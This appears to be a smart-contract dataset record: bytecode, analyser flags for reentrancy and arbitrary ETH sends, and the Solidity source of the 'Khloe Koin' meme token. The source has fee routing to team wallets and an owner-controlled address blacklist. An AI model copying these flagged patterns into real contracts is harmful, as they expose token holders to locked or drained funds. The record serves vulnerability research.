4565b34801561038357600080fd5b50610212610a5d565b6000610399338484610ab0565b5060015b92915050565b60006103b0848484610bd4565b61040284336103fd856040518060600160405280602881526020016116fd602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f89565b610ab0565b5060019392505050565b6000546001600160a01b0316331461043f5760405162461bcd60e51b815260040161043690611531565b60405180910390fd5b600654811161044d57600080fd5b600655565b6000546001600160a01b0316331461047c5760405162461bcd60e51b815260040161043690611531565b600b54600160a01b900460ff16156104d65760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610436565b600a546005546104f39130916001600160a01b0390911690610ab0565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561054157600080fd5b505afa158015610555573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105799190611566565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d657600080fd5b505afa1580156105ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060e9190611566565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561065657600080fd5b505af115801561066a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068e9190611566565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b1580156106f057600080fd5b505af1158015610704573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107289190611583565b50565b3060009081526002602052604081205490506107288130610fc3565b6000546001600160a01b031633146107715760405162461bcd60e51b815260040161043690611531565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610399338484610bd4565b6008546001600160a01b0316336001600160a01b0316146107e857600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b03191790529151911691610855916115a5565b6000604051808303816000865af19150503d8060008114610892576040519150601f19603f3d011682016040523d82523d6000602084013e610897565b606091505b5050905080156108bc57600854610728906305f5e100906001600160a01b0316610fc3565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b6044820152606401610436565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161043690611531565b600954811161092f57600080fd5b600955565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161043690611531565b600a546001600160a01b031663f305d7194730610990816001600160a01b031660009081526002602052604090205490565b6000806109a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0857600080fd5b505af1158015610a1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4191906115c1565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b476107288161114d565b6000610aa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061118b565b9392505050565b6001600160a01b038316610b125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610436565b6001600160a01b038216610b735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610436565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610436565b6001600160a01b038216610c9a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610436565b60008111610cfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610436565b6000546001600160a01b03848116911614801590610d2857506000546001600160a01b03838116911614155b15610f2857600b546001600160a01b038481169116148015610d585750600a546001600160a01b03838116911614155b8015610d7d57506001600160a01b03821660009081526004602052604090205460ff16155b15610dd457600954811115610dd45760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610436565b600b546001600160a01b03838116911614801590610e0b57506001600160a01b03821660009081526004602052604090205460ff16155b8015610e3057506001600160a01b03831660009081526004602052604090205460ff16155b15610eb05760065481610e58846001600160a01b031660009081526002602052604090205490565b610e629190611605565b1115610eb05760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610436565b30600090815260026020526040902054600b54600160a81b900460ff16158015610ee85750600b546001600160a01b03858116911614155b8015610efd5750600b54600160b01b900460ff165b15610f2657610f0c8130610fc3565b47668e1bc9bf0400008110610f2457610f244761114d565b505b505b6001600160a01b038216600090815260046020526040902054610f849084908490849060ff1680610f7157506001600160a01b03871660009081526004602052604090205460ff165b610f7d576007546111b9565b60006111b9565b505050565b60008184841115610fad5760405162461bcd60e51b8152600401610436919061140d565b506000610fba848661161d565b95945050505050565b600b805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061100b5761100b611634565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190611566565b816001815181106110aa576110aa611634565b6001600160a01b039283166020918202929092010152600a546110d09130911685610ab0565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061110990869060009086908890429060040161164a565b600060405180830381600087803b15801561112357600080fd5b505af1158015611137573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611187573d6000803e3d6000fd5b5050565b600081836111ac5760405162461bcd60e51b8152600401610436919061140d565b506000610fba84866116bb565b60006111d060646111ca85856112bd565b90610a67565b905060006111de848361133c565b6001600160a01b038716600090815260026020526040902054909150611204908561133c565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611233908261137e565b6001600160a01b03861660009081526002602052604080822092909255308152205461125f908361137e565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826112cc5750600061039d565b60006112d883856116dd565b9050826112e585836116bb565b14610aa95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610436565b6000610aa983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f89565b60008061138b8385611605565b905083811015610aa95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610436565b60005b838110156113f85781810151838201526020016113e0565b83811115611407576000848401525b50505050565b602081526000825180602084015261142c8160408501602087016113dd565b601f01601f19169190910160400192915050565b6001600160a01b038116811461072857600080fd5b6000806040838503121561146857600080fd5b823561147381611440565b946020939093013593505050565b60008060006060848603121561149657600080fd5b83356114a181611440565b925060208401356114b181611440565b929592945050506040919091013590565b6000602082840312156114d457600080fd5b5035919050565b6000602082840312156114ed57600080fd5b8135610aa981611440565b6000806040838503121561150b57600080fd5b823561151681611440565b9150602083013561152681611440565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561157857600080fd5b8151610aa981611440565b60006020828403121561159557600080fd5b81518015158114610aa957600080fd5b600082516115b78184602087016113dd565b9190910192915050565b6000806000606084860312156115d657600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008219821115611618576116186115ef565b500190565b60008282101561162f5761162f6115ef565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561169a5784516001600160a01b031683529383019391830191600101611675565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826116d857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116f7576116f76115ef565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aae90f6af6366b98a6f627de8a3159390fb40d720360aacb82979478b0336d8664736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,491 |
0xdbb36c487b73d73e5336b86c379e7f82ac02e2b4
|
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
//Khloe Koin ($KHLOE)
//@Khloe envisioned
//Powerful Bot Protect yes
//Deflationary yes
//1% of total supply will be airdropped to ZachInu holders
//Telegram: https://t.me/khloekoinofficial
//CG, CMC listing: Ongoing
//Fair Launch
/*
▗▖▄▄▖▖▖
▄▄▚▙▚▌█▙▜▞▄▌▙▀▞▌▖
▗▐▜▄▙▌▛▙█▙▛▛█▟▟▐▐▜▞▞▜▄
▗▚▜▐▐▗▜▛█▟▚█▛▛▟██▟▐▞▛▄▝▀▄
▝▞▞▌▌▙▜▛▛▙▜▜▐▐▐▐▖▛▛▙▚▌▌▛▚▐▐▖▖
▐▐▐▚▚▘▞▙▜▜▐▚▚▚▝▞▖▌▌▛▙▚▚▙▚▚▚▚▚▙▚
▗▚▚▚▜▐▝▌▙▚▙▚▚▘▗▘▞▗▝▝▞▞▀▙▙█▟▚▙▚▞▙▚
▌▌▚▀▞▖▚▚▙▜▐▐ ▌▘▞▗▗▘▌▟▟▜▚▚▙██▟▜▛▛█▖
▖▘ ▝▐▝▞▖▌▞▐▐▐▐▞▚▚▚▞▞▄▗▘▐▟▜▞█▜█▞█▟▛▙▛█▙▜
▗▞▌▛▟▐▝▚▚▜▚▙▜▜▀▜▜▛▙▚▝▖▙▜█▜▛▌▌▛▙███▟▞▛▄▗ ▘ ▗ ▘ ▗
▗▙▜▟▜▐▐▚▜▜▚█▟▜▟█▙▛▜▞▜▚▞▞▖▞▝▞▗▘▙▜█▙█▙▙▜▄▗▚▚
▙▛▙▙▜▞▙▜▚█▜▙▚▛▛▛▙▜▀▐▝▞▄▚▚▐▝▗▘▚▚▛▙▚▙▜▚▙▞▖▘▌▙
▘▗▜▜▟▞▙█▟█▜█▜▟▚▚▘▚▝▖▞▗▐▐▞▖▜▖▘▚▐▐▚█▛▛▞▜▐▐▟▐▚▘▖▖
▞▟█▟██▞▛▟█▜█▟▜▚▜▗▚▗▝▖▘▌█▟▚▀▚▚▚▀▙▚█▜▞▚▚▜▝▙▚▌▖▘
▙▛▟▞▞▟█▟█▙▛█▜▚▌▌▌▚▖▌▞▞▝▞▐▐▗▚▜▐▜██▟▗▚▚▛▞▟▝
▗ ▖▙▜▖▙▚▜▟█▟▙█▛▛█▟▚▜▐▗▚▚▞▙▜▙▛▙▚▚▜▚▙▙█▞▟▜▞▞▞▚▚
▖▞▞▞▌▛▌█▜▙▙▙▛▙▀▛▙▙▜▚▛▞▞▟▜▜▝▞▟▞▞▞▛█▙▛▟▟▞▙▜▐▞▛▄▘▞ ▖ ▘
▗▛▞▐▐▐▐▝▞▞▙▙▙█▟▛███▟▜▚▜▞▙▚▜▚▛▀▞▐▐▜▟▙▛▛▙█▞▞▞▞▟▜▞▖▞▖▘
▙▛▞▙▜▜▚▜▐▐▞▟▙▙▛█▜▜▜██▛▙▜▞▞▌▌▖▚▗▚▚█▚▚▙▜▜▐▐▞▞▐▟▙▄▄▐▖▖
▟▌▛▞▛▟▜▟▜▞▟▚▙▚▛▛███▙▜▜██▜▛█▟▜▙█▟▛▛▛▜▚▌▞▚▖▌▞▚▚▌▚▐▚▘
▚▜▐▜▚█▜▜▜▐▗▝▌▛▛▙▛▙█▜▞▄▚▛█▜▜▛▙█▞▌▛▄▜▐▐▜▚▚▚▀▙▜▞▌▚▘▘
▜▞▞▜▟▚▞▜▟▐▚▚▀▀▌▛▌█▜▞▞▞▞▞▞▌▌▙▐▝▞▞▙▚▌▌▌▌▌▛▐▗▌▌▖
▘▝▞▛▟▐▚▚▚▚▛▌▜▀▛▜▙▙▜▜▟▐▐▐▐▐▐▐▐▐▞▜▗▜▙▌▌▌▌▞▄▐▝
▖▝▚▛▙▜▚▌▞▛▞▟▜▟▟▄▚▜▜▛▟▐▙▜▐▐▞▜▐▝▌▌▌▌▛▙▙▚▚▛▞▄▙████████▙▄▖
▝▞ ▞▌▚▜▀▌▚▙▚▙▜▛▛█▟▌▌▞▞▞▟▐▐▐▐▐▚▘▌▀▌█▟█▟▜▟█▟▙█▜██▜▟█▜█▙
▐ ▀▗▞▖▛▞▐▐▜▞▙▛█▐▞▟▞▖▚▐▐▚▚▚▝▟▚▚▝▜▞▄▚▚██▛█▜█▜█▙███▜█▙█▖
▝▝ ▄▟▛▞▙▛▙▛█▛█▚▙▚▌▞▞▖▚▛▖▚▝▄▜▐▐▚▐▚▀▜▜▟███▜█▛█▜█▟█▛█▜█
▖ ▄▄▟█▟██▛▛▙█▙███▐▌▛▞▖▌▌▙▀▞▞▖▛▖▚▐▚▀▛▞▟█▛▙██▛███▜█▜████
▗▄▄▟████▜█▜▛███▜█▜█▞▌▚▚▀▗▘▞▞▛▖▚▐▞▌▌▟▄▜▗▚▚████▜██▙██▜█▙█▟█
▗█████▙█▜██████▟███▛█▞▞▌▙▘▌▚▜▐▚▘▚▐▄▚▚▟▞▞▞▙▜█▟██▜▟█▙███▜▛██
▞█▜█▜▟█▜██▙█▛█▙█▛▙███▛▙▜▞▜▐▐▝▛▙▜▐▐▐▞▙▚▚▜▐▞▙█▜▟███▙█▛█▟████
█████████▙█▛███████▜▛█▞▟▐▜▐▌▌▛▟▙▘▌▌▙▚▜▚▙▙▜▟▟██▙█▙█▛███▜▙██
▟█▜▟█▟█▟█▙████▙█▟█▛████▛▟▀▛▟▐▚▚▚▚▜▝▐▞▛▞▌▙▞▙▚▜▜▙█▛█▛██▙███▙█
▗████▛█▛█▙██▙█▛███▜██▜█▟█▙▛█▐▟▚▙▚▜▞▌▚▚▜▞▟▚▜▞▛▙▜██████▛█▜█▟██
▟█▟█▙██████▙████▙███▟██▛█▙▛▟▜▞▜▞▙▚▚▀▞▙▜▜▞▛▌▙▚▞▜█▟▙█▟▛███▛█▟█
█▛█▙███▜█▟▛██▟█▟██▜▟██▙███▟▞▌▛▌▙▛▙▜▚▜▟▜▐▞▙▀▞▞▐▐▛█▛████▜▟████
█████▜▟█████▜█▜█▜▟███▙██▛██▞▞▞▞▙▜▞▛▟▚▙▛▟▞▞▞▞▞▞▐████▙████▛▙██
█▜▙█▟████▟█▜████████▜█▛▙██▙█▞▞▞▞▞▟▟▀▙▞▜▚▜▞▞▞▖▞▖█▙█▙██▙█▛████
████████▜█▜██▙█▛██▜▟██████▜█▙▚▐▝▞▞▞▛▙▀▙▜▞▞▞▞▝▖▟██▛██▙████▛▙█
██▜▛█▛█▟████▙████▜███▙██▜▟██▜▄▘▞▐▐▐▜▟▛▞▙▜▞▞▞▞▗▐█▙██▙██▛▙████
███████████▜█▛▙█████▜█▛███████▖▞▖▚▚▚▚▙▛▞▙▜▐▝▖▘█████▜█▛███▛██
█▙██▙███▜▙▌ ▝███▟█▜▟██████▜▟█▛█▗▝▞▞▛▟▗▀▜▞▛▙▚▚▜█▙█▙██████▙███
██▛▙███▟██ ▝██▜█████▟█▟███████▐▐▐▞▞▞▞▛▌▌▌▛▟▟█▜████▙██▜█▜██
█▙████▜██▛ ▝▜█▛██▜▟███▛█▛▙██▜▙▌▙▚▚▝▞▞▞▖▚▐▐████▙█▙█████▛▜█
█████████ ███████▙█████████▙▘ ▘▘▘▝ ▘▘▘██▟█▙████▙█▙█▌▝█
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KhloeKoin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Khloe Koin";
string private constant _symbol = "KHLOE \xF0\x9F\x94\xA5";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600a81526020017f4b686c6f65204b6f696e00000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffff